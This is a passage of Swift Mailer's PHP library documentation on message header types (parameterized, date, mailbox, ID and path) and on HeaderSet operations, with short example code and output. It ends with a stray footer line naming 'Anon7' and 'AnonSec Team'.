    $subject->setValue('contains – dash');
    echo $subject->toString();

    /*

    Subject: contains =?utf-8?Q?=E2=80=93?= dash

    */

Parameterized Headers
~~~~~~~~~~~~~~~~~~~~~

Parameterized headers are text headers that contain key-value parameters
following the textual content. The Content-Type header of a message is a
parameterized header since it contains charset information after the content
type.

The parameterized header type is a special type of text header. It extends the
text header by allowing additional information to follow it. All of the methods
from text headers are available in addition to the methods described here.

Adding a parameterized header to a HeaderSet is done by using the
``addParameterizedHeader()`` method which takes a text value like
``addTextHeader()`` but it also accepts an associative array of key-value
parameters::

    $message = new Swift_Message();
    $headers = $message->getHeaders();
    $headers->addParameterizedHeader(
      'Header-Name', 'header value',
      ['foo' => 'bar']
      );

To change the text value of the header, call it's ``setValue()`` method just as
you do with text headers.

To change the parameters in the header, call the header's ``setParameters()``
method or the ``setParameter()`` method (note the pluralization)::

    $type = $message->getHeaders()->get('Content-Type');

    // setParameters() takes an associative array
    $type->setParameters([
      'name' => 'file.txt',
      'charset' => 'iso-8859-1'
    ]);

    // setParameter() takes two args for $key and $value
    $type->setParameter('charset', 'iso-8859-1');

When output via ``toString()``, a parameterized header produces something like
the following::

    $type = $message->getHeaders()->get('Content-Type');
    $type->setValue('text/html');
    $type->setParameter('charset', 'utf-8');

    echo $type->toString();

    /*

    Content-Type: text/html; charset=utf-8

    */

If the header contains any characters that are outside of the US-ASCII range
however, they will be encoded, just like they are for text headers. This is
nothing to be concerned about since mail clients will decode them back.
Likewise, if the parameters contain any non-ascii characters they will be
encoded so that they can be transmitted safely::

    $attachment = new Swift_Attachment();
    $disp = $attachment->getHeaders()->get('Content-Disposition');
    $disp->setValue('attachment');
    $disp->setParameter('filename', 'report–may.pdf');
    echo $disp->toString();

    /*

    Content-Disposition: attachment; filename*=utf-8''report%E2%80%93may.pdf

    */

Date Headers
~~~~~~~~~~~~

Date headers contains an RFC 2822 formatted date (i.e. what PHP's ``date('r')``
returns). They are used anywhere a date or time is needed to be presented as a
message header.

The data on which a date header is modeled as a DateTimeImmutable object. The
object is used to create a correctly structured RFC 2822 formatted date with
timezone such as ``Tue, 17 Feb 2009 22:26:31 +1100``.

The obvious place this header type is used is in the ``Date:`` header of the
message itself.

It's easy to add a new date header to a HeaderSet. You do this by calling the
HeaderSet's ``addDateHeader()`` method::

    $message = new Swift_Message();
    $headers = $message->getHeaders();
    $headers->addDateHeader('Your-Header', new DateTimeImmutable('3 days ago'));

Changing the value of an existing date header is done by calling it's
``setDateTime()`` method::

    $date = $message->getHeaders()->get('Date');
    $date->setDateTime(new DateTimeImmutable());

When output via ``toString()``, a date header produces something like the
following::

    $date = $message->getHeaders()->get('Date');
    echo $date->toString();

    /*

    Date: Wed, 18 Feb 2009 13:35:02 +1100

    */

Mailbox (e-mail address) Headers
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Mailbox headers contain one or more email addresses, possibly with personalized
names attached to them. The data on which they are modeled is represented by an
associative array of email addresses and names.

Mailbox headers are probably the most complex header type to understand in
Swift Mailer because they accept their input as an array which can take various
forms, as described in the previous chapter.

All of the headers that contain e-mail addresses in a message -- with the
exception of ``Return-Path:`` which has a stricter syntax -- use this header
type. That is, ``To:``, ``From:`` etc.

You add a new mailbox header to a HeaderSet by calling the HeaderSet's
``addMailboxHeader()`` method::

    $message = new Swift_Message();
    $headers = $message->getHeaders();
    $headers->addMailboxHeader('Your-Header-Name', [
          'person1@example.org' => 'Person Name One',
          'person2@example.org',
          'person3@example.org',
          'person4@example.org' => 'Another named person'
    ]);

Changing the value of an existing mailbox header is done by calling it's
``setNameAddresses()`` method::

    $to = $message->getHeaders()->get('To');
    $to->setNameAddresses([
      'joe@example.org' => 'Joe Bloggs',
      'john@example.org' => 'John Doe',
      'no-name@example.org'
    ]);

If you don't wish to concern yourself with the complicated accepted input
formats accepted by ``setNameAddresses()`` as described in the previous chapter
and you only want to set one or more addresses (not names) then you can just
use the ``setAddresses()`` method instead::

    $to = $message->getHeaders()->get('To');
    $to->setAddresses([
      'joe@example.org',
      'john@example.org',
      'no-name@example.org'
    ]);

.. note::

    Both methods will accept the above input format in practice.

If all you want to do is set a single address in the header, you can use a
string as the input parameter to ``setAddresses()`` and/or
``setNameAddresses()``::

    $to = $message->getHeaders()->get('To');
    $to->setAddresses('joe-bloggs@example.org');

When output via ``toString()``, a mailbox header produces something like the
following::

    $to = $message->getHeaders()->get('To');
    $to->setNameAddresses([
      'person1@example.org' => 'Name of Person',
      'person2@example.org',
      'person3@example.org' => 'Another Person'
    ]);

    echo $to->toString();

    /*

    To: Name of Person <person1@example.org>, person2@example.org, Another Person
     <person3@example.org>

    */

Internationalized domains are automatically converted to IDN encoding::

    $to = $message->getHeaders()->get('To');
    $to->setAddresses('joe@ëxämple.org');

    echo $to->toString();

    /*

    To: joe@xn--xmple-gra1c.org

    */

ID Headers
~~~~~~~~~~

ID headers contain identifiers for the entity (or the message). The most
notable ID header is the Message-ID header on the message itself.

An ID that exists inside an ID header looks more-or-less less like an email
address. For example, ``<1234955437.499becad62ec2@example.org>``. The part to
the left of the @ sign is usually unique, based on the current time and some
random factor. The part on the right is usually a domain name.

Any ID passed to the header's ``setId()`` method absolutely MUST conform to
this structure, otherwise you'll get an Exception thrown at you by Swift Mailer
(a ``Swift_RfcComplianceException``). This is to ensure that the generated
email complies with relevant RFC documents and therefore is less likely to be
blocked as spam.

It's easy to add a new ID header to a HeaderSet. You do this by calling the
HeaderSet's ``addIdHeader()`` method::

    $message = new Swift_Message();
    $headers = $message->getHeaders();
    $headers->addIdHeader('Your-Header-Name', '123456.unqiue@example.org');

Changing the value of an existing ID header is done by calling its ``setId()``
method::

    $msgId = $message->getHeaders()->get('Message-ID');
    $msgId->setId(time() . '.' . uniqid('thing') . '@example.org');

When output via ``toString()``, an ID header produces something like the
following::

    $msgId = $message->getHeaders()->get('Message-ID');
    echo $msgId->toString();

    /*

    Message-ID: <1234955437.499becad62ec2@example.org>

    */

Path Headers
~~~~~~~~~~~~

Path headers are like very-restricted mailbox headers. They contain a single
email address with no associated name. The Return-Path header of a message is a
path header.

You add a new path header to a HeaderSet by calling the HeaderSet's
``addPathHeader()`` method::

    $message = new Swift_Message();
    $headers = $message->getHeaders();
    $headers->addPathHeader('Your-Header-Name', 'person@example.org');

Changing the value of an existing path header is done by calling its
``setAddress()`` method::

    $return = $message->getHeaders()->get('Return-Path');
    $return->setAddress('my-address@example.org');

When output via ``toString()``, a path header produces something like the
following::

    $return = $message->getHeaders()->get('Return-Path');
    $return->setAddress('person@example.org');
    echo $return->toString();

    /*

    Return-Path: <person@example.org>

    */

Header Operations
-----------------

Working with the headers in a message involves knowing how to use the methods
on the HeaderSet and on the individual Headers within the HeaderSet.

Adding new Headers
~~~~~~~~~~~~~~~~~~

New headers can be added to the HeaderSet by using one of the provided
``add..Header()`` methods.

The added header will appear in the message when it is sent::

    // Adding a custom header to a message
    $message = new Swift_Message();
    $headers = $message->getHeaders();
    $headers->addTextHeader('X-Mine', 'something here');

    // Adding a custom header to an attachment
    $attachment = Swift_Attachment::fromPath('/path/to/doc.pdf');
    $attachment->getHeaders()->addDateHeader('X-Created-Time', time());

Retrieving Headers
~~~~~~~~~~~~~~~~~~

Headers are retrieved through the HeaderSet's ``get()`` and ``getAll()``
methods::

    $headers = $message->getHeaders();

    // Get the To: header
    $toHeader = $headers->get('To');

    // Get all headers named "X-Foo"
    $fooHeaders = $headers->getAll('X-Foo');

    // Get the second header named "X-Foo"
    $foo = $headers->get('X-Foo', 1);

    // Get all headers that are present
    $all = $headers->getAll();

When using ``get()`` a single header is returned that matches the name (case
insensitive) that is passed to it. When using ``getAll()`` with a header name,
an array of headers with that name are returned. Calling ``getAll()`` with no
arguments returns an array of all headers present in the entity.

.. note::

    It's valid for some headers to appear more than once in a message (e.g.
    the Received header). For this reason ``getAll()`` exists to fetch all
    headers with a specified name. In addition, ``get()`` accepts an optional
    numerical index, starting from zero to specify which header you want more
    specifically.

.. note::

    If you want to modify the contents of the header and you don't know for
    sure what type of header it is then you may need to check the type by
    calling its ``getFieldType()`` method.

Check if a Header Exists
~~~~~~~~~~~~~~~~~~~~~~~~

You can check if a named header is present in a HeaderSet by calling its
``has()`` method::

    $headers = $message->getHeaders();

    // Check if the To: header exists
    if ($headers->has('To')) {
      echo 'To: exists';
    }

    // Check if an X-Foo header exists twice (i.e. check for the 2nd one)
    if ($headers->has('X-Foo', 1)) {
      echo 'Second X-Foo header exists';
    }

If the header exists, ``true`` will be returned or ``false`` if not.

.. note::

    It's valid for some headers to appear more than once in a message (e.g.
    the Received header). For this reason ``has()`` accepts an optional
    numerical index, starting from zero to specify which header you want to
    check more specifically.

Removing Headers
~~~~~~~~~~~~~~~~

Removing a Header from the HeaderSet is done by calling the HeaderSet's
``remove()`` or ``removeAll()`` methods::

    $headers = $message->getHeaders();

    // Remove the Subject: header
    $headers->remove('Subject');

    // Remove all X-Foo headers
    $headers->removeAll('X-Foo');

    // Remove only the second X-Foo header
    $headers->remove('X-Foo', 1);

When calling ``remove()`` a single header will be removed. When calling
``removeAll()`` all headers with the given name will be removed. If no headers
exist with the given name, no errors will occur.

.. note::

    It's valid for some headers to appear more than once in a message (e.g.
    the Received header). For this reason ``remove()`` accepts an optional
    numerical index, starting from zero to specify which header you want to
    check more specifically. For the same reason, ``removeAll()`` exists to
    remove all headers that have the given name.

Modifying a Header's Content
~~~~~~~~~~~~~~~~~~~~~~~~~~~~

To change a Header's content you should know what type of header it is and then
call it's appropriate setter method. All headers also have a
``setFieldBodyModel()`` method that accepts a mixed parameter and delegates to
the correct setter::

The header will be updated inside the HeaderSet and the changes will be seen
when the message is sent::

    $headers = $message->getHeaders();

    // Change the Subject: header
    $subj = $headers->get('Subject');
    $subj->setValue('new subject here');

    // Change the To: header
    $to = $headers->get('To');
    $to->setNameAddresses([
      'person@example.org' => 'Person',
      'thing@example.org'
    ]);

    // Using the setFieldBodyModel() just delegates to the correct method
    // So here to calls setNameAddresses()
    $to->setFieldBodyModel([
      'person@example.org' => 'Person',
      'thing@example.org'
    ]);

Anon7 - 2022
AnonSec Team